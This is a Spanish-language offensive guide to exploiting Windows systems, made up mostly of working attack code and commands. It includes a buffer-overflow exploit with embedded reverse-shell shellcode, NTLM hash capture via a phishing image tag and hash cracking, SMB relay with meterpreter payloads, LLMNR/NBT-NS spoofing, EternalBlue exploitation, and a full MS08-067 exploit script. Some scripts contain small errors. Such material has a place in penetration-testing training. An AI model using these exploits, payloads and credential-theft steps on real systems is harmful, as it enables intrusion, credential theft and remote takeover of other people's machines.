Explotación de Entornos Windows

Exploits

Enlace de descargar de exploits de Windows.

Buffer Overflow básico

Abrimos el programa usando Immunity Debugger (este deber ser iniciado como administrador). En Debug, seleccionamos Run para iniciar el programa:

Por cada prueba a realizar, se debe repetir este paso, debido que, el programa deja de funcionar.

Validamos si el puerto del servicio se encuentra abierto:

Chequeamos el funcionamiento del servicio:

Si ingresamos OVERFLOW1 test, observamos que nos responde OVERFLOW1 COMPLETE:

Creamos un directorio de trabajo usando mona:

!mona config -set workingfolder c:\mona\%p

Usando el siguiente programa, podemos validar la cantidad de caracteres que hacer que el programa deje de funcionar:

#!/usr/bin/env python3

import socket, time, sys

rhost = "192.168.233.139"
rport = 1337
timeout = 5

prefix = b"OVERFLOW1 "
payload = b"A" * 100

try:
    while True:
        print("Sent " + str(len(payload)))
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.settimeout(timeout)
        s.connect((rhost,rport))
        s.send(prefix + payload + b"\r\n")
        data = s.recv(1024)
        payload += b"A" * 100
except Exception as err:
    print("Error: " + str(err))
    sys.exit(1)

Si revisamos en Immunity Debugger, podemos observar que tiene los caracteres A enviados en el registro EIP:

Como se puede apreciar en la imagen del script fuzzer.py, a los 2100 caracteres, el programa deja de responder.

Para obtener la cantidad correcta de caracteres que necesitamos para crashear el programa, usamos los scripts pattern_create.rb y pattern_offset.rb de Metasploit.

Con `pattern_create.rb` generamos un patrón de caracteres con la cantidad indicada:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2100

Modificamos el script anterior para enviar la lista de caracteres generados:

#!/usr/bin/env python3

import socket, time, sys

rhost = "192.168.233.139"
rport = 1337
timeout = 5

prefix = b"OVERFLOW1 "
payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9"

try:
    print("Sent " + str(len(payload)))

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(timeout)
    s.connect((rhost,rport))
    s.send(prefix + payload + b"\r\n")

    data = s.recv(1024)
except Exception as err:
    print("Error: " + str(err))
    sys.exit(1)

Observamos el valor del EIP, y lo copiamos para usarlo con pattern_offset.rb:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 6F43396E

Con mona generamos un bytearray, en el cual, se excluirá el byte null \x00:

!mona bytearray -cpb "\x00"

Ahora, generamos una lista de caracteres a revisar usando el siguiente script:

#!/usr/bin/env python3

for x in range(1, 256):
    print("\\x" + "{:02x}".format(x), end='')
print()

Ejecutamos el siguiente script, el cual, contiene el valor del offset, el valor que escribiremos en el registro EIP, y los badchars:

#!/usr/bin/env python3

import socket, time, sys

rhost = "192.168.233.139"
rport = 1337
timeout = 5

prefix = b"OVERFLOW1 "
payload = b"A" * 1978
payload += b"BBBB"
badchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

try:
    print("Sent " + str(len(payload)))

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(timeout)
    s.connect((rhost,rport))
    s.send(prefix + payload + return + badchars + b"\r\n")

    data = s.recv(1024)
except Exception as err:
    print("Error: " + str(err))
    sys.exit(1)

Tomamos el valor del registro ESP que es 01A5FA30 y lo analizamos con mona:

!mona compare -f C:\mona\oscp\bytearray.bin -a 01A5FA30

Vemos que los caracteres indicados por mona son: \x00, \x07, \x08, \x2e, \x2f, \xa0, \xa1.

Volvemos a ejecutar el script anterior, pero esta vez, se debe modificar los badchars sacando uno a la vez:

Los badchars identificados son: \x00, \x07, \x2e, \xa0.

Usando mona, debemos encontrar el valor de un registro de salto JMP al ESP, el cual, no debe tener protecciones:

!mona jmp -r esp

El salto al ESP es 0x625011af, que, en little endian es \xaf\x11\x50\x62.

Generamos con msfvenom el payload de la shell reversa que usaremos:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.233.137 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f python

Modificamos el script, donde, se debe indicar lo siguiente:

payload: cantidad de caracteres a enviar antes de generar la denegación de servicio (corresponde al offset)
address: dirección de la instrucción JMP que saltará al registro ESP
nops: instrucciones recomendadas para el funcionamiento del script
buf: payload generado con msfvenom

#!/usr/bin/env python3

import socket, time, sys

rhost = "192.168.233.139"
rport = 1337
timeout = 5

prefix = b"OVERFLOW1 "
payload = b"A" * 1978
address += b"\xaf\x11\x50\x62"

nops = b"\x90" * 20

buf =  b""
buf += b"\xd9\xc9\xd9\x74\x24\xf4\x5a\xbd\xe1\xcb\xd9\xfc\x33"
buf += b"\xc9\xb1\x52\x31\x6a\x17\x83\xc2\x04\x03\x8b\xd8\x3b"
buf += b"\x09\xb7\x37\x39\xf2\x47\xc8\x5e\x7a\xa2\xf9\x5e\x18"
buf += b"\xa7\xaa\x6e\x6a\xe5\x46\x04\x3e\x1d\xdc\x68\x97\x12"
buf += b"\x55\xc6\xc1\x1d\x66\x7b\x31\x3c\xe4\x86\x66\x9e\xd5"
buf += b"\x48\x7b\xdf\x12\xb4\x76\x8d\xcb\xb2\x25\x21\x7f\x8e"
buf += b"\xf5\xca\x33\x1e\x7e\x2f\x83\x21\xaf\xfe\x9f\x7b\x6f"
buf += b"\x01\x73\xf0\x26\x19\x90\x3d\xf0\x92\x62\xc9\x03\x72"
buf += b"\xbb\x32\xaf\xbb\x73\xc1\xb1\xfc\xb4\x3a\xc4\xf4\xc6"
buf += b"\xc7\xdf\xc3\xb5\x13\x55\xd7\x1e\xd7\xcd\x33\x9e\x34"
buf += b"\x8b\xb0\xac\xf1\xdf\x9e\xb0\x04\x33\x95\xcd\x8d\xb2"
buf += b"\x79\x44\xd5\x90\x5d\x0c\x8d\xb9\xc4\xe8\x60\xc5\x16"
buf += b"\x53\xdc\x63\x5d\x7e\x09\x1e\x3c\x17\xfe\x13\xbe\xe7"
buf += b"\x68\x23\xcd\xd5\x37\x9f\x59\x56\xbf\x39\x9e\x99\xea"
buf += b"\xfe\x30\x64\x15\xff\x19\xa3\x41\xaf\x31\x02\xea\x24"
buf += b"\xc1\xab\x3f\xea\x91\x03\x90\x4b\x41\xe4\x40\x24\x8b"
buf += b"\xeb\xbf\x54\xb4\x21\xa8\xff\x4f\xa2\x17\x57\xa6\xbb"
buf += b"\xf0\xaa\x38\xad\x5c\x22\xde\xa7\x4c\x62\x49\x50\xf4"
buf += b"\x2f\x01\xc1\xf9\xe5\x6c\xc1\x72\x0a\x91\x8c\x72\x67"
buf += b"\x81\x79\x73\x32\xfb\x2c\x8c\xe8\x93\xb3\x1f\x77\x63"
buf += b"\xbd\x03\x20\x34\xea\xf2\x39\xd0\x06\xac\x93\xc6\xda"
buf += b"\x28\xdb\x42\x01\x89\xe2\x4b\xc4\xb5\xc0\x5b\x10\x35"
buf += b"\x4d\x0f\xcc\x60\x1b\xf9\xaa\xda\xed\x53\x65\xb0\xa7"
buf += b"\x33\xf0\xfa\x77\x45\xfd\xd6\x01\xa9\x4c\x8f\x57\xd6"
buf += b"\x61\x47\x50\xaf\x9f\xf7\x9f\x7a\x24\x17\x42\xae\x51"
buf += b"\xb0\xdb\x3b\xd8\xdd\xdb\x96\x1f\xd8\x5f\x12\xe0\x1f"
buf += b"\x7f\x57\xe5\x64\xc7\x84\x97\xf5\xa2\xaa\x04\xf5\xe6"

try:
    print("Sent " + str(len(payload)))

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(timeout)
    s.connect((rhost,rport))
    s.send(prefix + payload + address + nops + buf + b"\r\n")

    data = s.recv(1024)
except Exception as err:
    print("Error: " + str(err))
    sys.exit(1)

Antes de ejecutar el exploit, debemos tener el puerto indicado en el payload a la escucha.

Capturando hash LM/NTLMv1 con Metasploit

Iniciamos el módulo de captura:

msfconsole -q
use auxiliary/server/capture/smb
set JOHNPWFILE hashpwd
run

En este caso, podemos usar alguna técnica de ingeniería social para pasar la URL al target, como por ejemplo, una imagen con hipervínculo en un phishing:

<img src="\\[nuestra_IP]\ADMIN$">

Cuando se conecte el target, y este trabaje con hashes LM o NTLMv1, podemos intentar crackearlos usando JohnTheRipper:

john --format=netlm hashpwd_netntlm

En caso de que JohnTheRipper falle, podemos usar rainbow tables:

Comando:

rcracki_mt -h [8B_hash_LM] -t [threads] [tablas]

-h primeros 8 bytes del hash LM
-t threads a usar

Ejemplo:

rcracki_mt -h 1f548398f0f49ea1 -t 4 *.rti

Ahora que tenemos la primera parte de la password descifrada, usamos la herramienta halflm_second.rb de Metasploit, el cual, se encuentra en /usr/share/metasploit-framework/tools/password:

ruby halflm_second.rb -n [hash] -p [parte_de_la_pass_encontrada]

-n hash obtenido
-p parte de la password encontrada en el paso anterior

Ejemplo:

ruby halflm_second.rb -n 1f548398f0f49ea18e2f0dcb9562b75eaa32e75aebf1d69c -p ELSPWD1

Ahora con la herramienta netntlm de JohnTheRipper, podemos obtener la password real (esta se encuentra en /usr/share/john/):

perl netntlm.pl -file [file_hash] -seed [password]

-file archivo que tiene el hash obtenido en la primera etapa
-seed password obtenida en el paso anterior

Ejemplo:

perl netntlm.pl -file /root/hashpwd_netntlm -seed PASS123

Podemos usar esta herramienta para obtener la password en mayúsculas, al igual que lo hace halflm_second, donde, -seed seria la primera parte de la password obtenida.
El cracking de los hashes NTLMv2 se considera no factible.

SMB Relay en NTLMv1/v2

Resumen del ataque:

Para iniciar este ataque, usamos los siguientes comandos:

Con la opción SMBHOST indicamos el target.

msfconsole -q
use exploit/windows/smb/smb_relay
set SMBHOST 192.168.1.1
run

Esto funciona solo si el Network security: LAN Manager authentication level se encuentra configurado como Send LM & NTLM responses o Send NTLMv2 response only.

Para este caso, usaremo el script smbrelayx.py.

Lo primero es crear un payload para obtener una shell usando msfvenom.

Comando:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[local_IP]  LPORT=[local_port] -f exe -o [output_file]

-p indicamos el payload a usar
LHOST dirección IP local que estará a la escucha de la conexión
LPORT puerto local que estará a la escucha
-f formato del archivo
-o indicamos el nombre del archivo donde se guardará el output

Ejemplo:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200  LPORT=4455 -f exe -o smbexp.exe

En otra terminal, ponemos a la escucha la dirección y puerto para poder obtener la shell:

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4455
run

Ejecutamos nuestro relay:

./smbrelayx.py -h [target_IP] -e [payload]

-h indicamos la dirección IP del target
-e especificamos el archivo creado con msfvenom

Ejemplo:

./smbrelayx.py -h 192.168.1.1 -e smbexp.exe

NBT-NS/LLMNR Spoofing

Es posible realizar un spoofing de LLMNR (Link-Local Multicast Name Resolution) y de NBT-NS (NetBIOS Name Service) a través de un ataque mitm y así, obtener sus hashes.

LLMNR es el sucesor de NBT-NS, el cual, fue introducido en Windows Vista.

Cuando la resolución de nombres falla, se utilizan estos protocolos.

Al momento que estos protocolos son usados para descubrir host, envían mensajes broadcast a la red con los hashes NTLMv1/v2, los cuales, pueden ser interceptados en la red local (VLAN), para usarlos en otros sistemas, o crackearlos de forma offline.

Escenario de ataque

El host A envía un request a un recurso compartido SMB al sistema \\intranet\files, pero, en vez de escribir intranet, escribe intrnet
Se manda una consulta al DNS para poder resolver el nombre intrnet, el cual, no es conocido por este, por lo tanto, el host A envía un mensaje broadcast LLMNR o NBT-NS consultando la dirección IP de dicho host
El atacante responde el mensaje broadcast, indicando que el es intrnet
El host A envía al atacante su nombre de usuario y el hash NTLMv1/v2

Herramientas para realizar el ataque

Responder es una herramienta que permite explotar esta debilidad en estos protocolos, para así, poder capturar los hashes NTLMv1/v2, y con esto, retransmitirlos a otro sistema para poder autentificarnos.

En Kali se puede encontrar en /usr/share/responder

Para este caso, Responder actúa como un listener de los mensajes broadcast, y realiza un spoofing de las respuesta al host target, resultando en la intercepción de los hashes que pueden ser pasados a otros sistemas, o eventualmente, poder crackearlos de forma offline.

En conjunto con Responder, se usa Multirelay, el cual, permite realizar un relay de los hashes a otras máquinas de la LAN, y con esto, obtener una shell en ellos.

Para llevar a cabo este ataque, es necesario que se encuentre deshabilitado el SMB Signing en el target. Para poder determinar si este no se encuentra habilitado, se puede usar la herramienta RunFinger.

Uso de RunFinger:

python RunFinger.py -i [IP target]

Atacando LLMNR/NBT-NS

Modificar el archivo Responder.conf, deshabilitando SMBy HTTP:

Ejecutamos Responder en la interfaz que deseamos:
- -I interfaz que estará a la escucha
- --lm realiza un downgrade de los hashes a LM

python Responder.py -I [interfaz]

En otra terminal, ejecutar MultiRelay:
- -t indicamos la IP del target
- -u ALL realiza un relay de todos los usuarios. También se puede indicar el usuario que queremos, reemplazando ALL por el nombre del usuario

python MultiRelay.py -t [IP target] - u ALL

EternalBlue (MS17-010)

Metasploit posee dos módulos asociados a esta vulnerabilidad que nos ayudaran a detectarla y explotarla:

Validación de vulnerabilidad:

msfconsole -q
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.1
run

Explotación:

msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.1
run

Lo primero que validamos es si es vulnerable a la versión que usa PIPE. Para lograr esto, descargamos el siguiente script.

Este script usa como complemento el script mysmb.py.

python3 checker.py 10.10.10.40

Vemos que no es vulnerable a la opción que utiliza PIPE, por lo tanto, usaremos el siguiente script.

Lo primero es definir la arquitectura del target, para lograr esto, usamos crackmapexec:

crackmapexec smb 10.10.10.40

Vemos que la máquina es de arquitectura x64, por lo tanto, trabajamos con el shellcode indicado para esa arquitectura.

Ensamblamos el shellcode del kernel con nasm:

nasm -f bin shellcode_x64.asm -o ./sc_x64_kernel.bin

Generamos el payload para poder obtener una reverse shell:

msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=10.10.14.6 --platform windows -a x64 --format raw -o sc_x64_payload.bin

Ahora juntamos ambos archivos:

cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin

Por último, ejecutamos el exploit:

python3 ms17-010.py 10.10.10.40 sc_x64.bin 6

El valor 6 corresponde al numGroomConn, el cual, a prueba y error resultó ser dicho número.

Explotación 1

Para máquinas x64m usar el siguiente shellcode:

https://raw.githubusercontent.com/worawit/MS17-010/master/shellcode/eternalblue_kshellcode_x64.asm

Ensamblamos el shellcode del kernel con nasm:

nasm -f bin shellcode_x64.asm -o ./sc_x64_kernel.bin

Generamos un payload con el reverse shell:

msfvenom -p windows/x64/shell_reverse_tcp LPORT=4444 LHOST=10.13.18.211 --platform windows -a x64 --format raw -o sc_x64_payload.bin

Ahora juntamos ambos archivos:

cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin

Explotación 2

Descargamos los siguientes scripts para explotar esta vulnerabilidad:

wget https://raw.githubusercontent.com/3ndG4me/AutoBlue-MS17-010/master/zzz_exploit.py -O ms17-010.py
wget https://raw.githubusercontent.com/3ndG4me/AutoBlue-MS17-010/master/mysmb.py -O mysmb.py

Ahora ejecutamos el script, con el cual, obtenemos una shell en la máquina:

python3 ms17-010.py 10.10.10.4

NetAPI (MS08-067)

Metasploit posee el módulo exploit/windows/smb/ms08_067_netapi que permite explotar esta vulnerabilidad.

msfconsole -q
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 192.168.1.1
set LHOST 192.168.1.200
run

Para poder explotar esta vulnerabilidad, usamos el siguiente script:

#!/usr/bin/python3
import struct
import time
import sys
from threading import Thread  # Thread is imported incase you would like to modify

try:
    from impacket import smb
    from impacket import uuid
    from impacket.dcerpc.v5 import transport

except ImportError:
    print('Install the following library to make this script work')
    print('Impacket : https://github.com/CoreSecurity/impacket.git')
    print('PyCrypto : https://pypi.python.org/pypi/pycrypto')
    sys.exit(1)

shellcode =  b""

num_nops = 410 - len(shellcode)
newshellcode = b"\x90" * num_nops
newshellcode += shellcode  # Add NOPS to the front
shellcode = newshellcode   # Switcheroo with the newshellcode temp variable

nonxjmper = b"\x08\x04\x02\x00%s" + b"A" * 4 + b"%s" + \
    b"A" * 42 + b"\x90" * 8 + b"\xeb\x62" + b"A" * 10
disableNXjumper = b"\x08\x04\x02\x00%s%s%s" + b"A" * \
    28 + b"%s" + b"\xeb\x02" + b"\x90" * 2 + b"\xeb\x62"
ropjumper = b"\x00\x08\x01\x00" + b"%s" + b"\x10\x01\x04\x01";
module_base = 0x6f880000


def generate_rop(rvas):
    gadget1 = b"\x90\x5a\x59\xc3"
    gadget2 = [b"\x90\x89\xc7\x83", b"\xc7\x0c\x6a\x7f", b"\x59\xf2\xa5\x90"]
    gadget3 = b"\xcc\x90\xeb\x5a"
    ret = struct.pack('<L', 0x00018000)
    ret += struct.pack('<L', rvas['call_HeapCreate'] + module_base)
    ret += struct.pack('<L', 0x01040110)
    ret += struct.pack('<L', 0x01010101)
    ret += struct.pack('<L', 0x01010101)
    ret += struct.pack('<L',
                       rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret'] + module_base)
    ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
    ret += gadget1
    ret += struct.pack('<L', rvas['mov [eax], ecx / ret'] + module_base)
    ret += struct.pack('<L', rvas['jmp eax'] + module_base)
    ret += gadget2[0]
    ret += gadget2[1]
    ret += struct.pack('<L', rvas[
                       'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret'] + module_base)
    ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
    ret += gadget2[2]
    ret += struct.pack('<L', rvas['mov [eax+0x10], ecx / ret'] + module_base)
    ret += struct.pack('<L', rvas['add eax, 8 / ret'] + module_base)
    ret += struct.pack('<L', rvas['jmp eax'] + module_base)
    ret += gadget3
    return ret


class SRVSVC_Exploit(Thread):
    def __init__(self, target, os, port=445):
        super(SRVSVC_Exploit, self).__init__()

        self.port = port
        self.target = target
        self.os = os

    def __DCEPacket(self):
        if (self.os == '1'):
            print('Windows XP SP0/SP1 Universal\n')
            ret = b"\x61\x13\x00\x01"
            jumper = nonxjmper % (ret, ret)
        elif (self.os == '2'):
            print('Windows 2000 Universal\n')
            ret = b"\xb0\x1c\x1f\x00"
            jumper = nonxjmper % (ret, ret)
        elif (self.os == '3'):
            print('Windows 2003 SP0 Universal\n')
            ret = b"\x9e\x12\x00\x01"  # 0x01 00 12 9e
            jumper = nonxjmper % (ret, ret)
        elif (self.os == '4'):
            print('Windows 2003 SP1 English\n')
            ret_dec = b"\x8c\x56\x90\x7c"  # 0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
            ret_pop = b"\xf4\x7c\xa2\x7c"  # 0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
            jmp_esp = b"\xd3\xfe\x86\x7c"  # 0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
            disable_nx = b"\x13\xe4\x83\x7c"  # 0x 7c 83 e4 13 NX disable @NTDLL.DLL
            jumper = disableNXjumper % (
                ret_dec * 6, ret_pop, disable_nx, jmp_esp * 2)
        elif (self.os == '5'):
            print('Windows XP SP3 French (NX)\n')
            ret = b"\x07\xf8\x5b\x59"  # 0x59 5b f8 07
            disable_nx = b"\xc2\x17\x5c\x59"  # 0x59 5c 17 c2
            jumper = nonxjmper % (disable_nx, ret)
        elif (self.os == '6'):
            print('Windows XP SP3 English (NX)\n')
            ret = b"\x07\xf8\x88\x6f"  # 0x6f 88 f8 07
            disable_nx = b"\xc2\x17\x89\x6f"  # 0x6f 89 17 c2
            jumper = nonxjmper % (disable_nx, ret)
        elif (self.os == '7'):
            print('Windows XP SP3 English (AlwaysOn NX)\n')
            rvasets = {'call_HeapCreate': 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret': 0x2e796, 'pop ecx / ret': 0x2e796 + 6,
                'mov [eax], ecx / ret': 0xd296, 'jmp eax': 0x19c6f, 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret': 0x10a56, 'mov [eax+0x10], ecx / ret': 0x10a56 + 6, 'add eax, 8 / ret': 0x29c64}
            jumper = generate_rop(rvasets) + "AB"
        else:
            print('Not supported OS version\n')
            sys.exit(-1)

        print('[-]Initiating connection')

        if (self.port == '445'):
            self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
        else:

            self.__trans = transport.SMBTransport(remoteName='*SMBSERVER', remote_host='%s' % self.target, dstport = int(self.port), filename = '\\browser' )
        
        self.__trans.connect()
        print('[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target)
        self.__dce = self.__trans.DCERPC_class(self.__trans)
        self.__dce.bind(uuid.uuidtup_to_bin(
            ('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
        path = b"\x5c\x00" + b"ABCDEFGHIJ" * 10 + shellcode + b"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + \
            b"\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + b"\x00" * 2
        server = b"\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
        prefix = b"\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"

        MaxCount = b"\x36\x01\x00\x00"  # Decimal 310. => Path length of 620.
        Offset = b"\x00\x00\x00\x00"
        ActualCount = b"\x36\x01\x00\x00" # Decimal 310. => Path length of 620

        self.__stub = server + MaxCount + Offset + ActualCount + \
            path + b"\xE8\x03\x00\x00" + prefix + b"\x01\x10\x00\x00\x00\x00\x00\x00"        

        return

    def run(self):
        self.__DCEPacket()
        self.__dce.call(0x1f, self.__stub)
        time.sleep(3)
        print('Exploit finish\n')

if __name__ == '__main__':
       try:
           target = sys.argv[1]
           os = sys.argv[2]
           port = sys.argv[3]
       except IndexError:
                print('\nUsage: %s <target ip> <os #> <Port #>\n' % sys.argv[0])
                print('Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445')
                print('Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)')
                print('Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal')
                print('Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English')
                print('Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)')
                print('Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)')
                print('Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)')
                print('')
                print('FYI: nmap has a good OS discovery script that pairs well with this exploit:')
                print('nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 192.168.1.1')
                print('')
                sys.exit(-1)


current = SRVSVC_Exploit(target, os, port)
current.start()

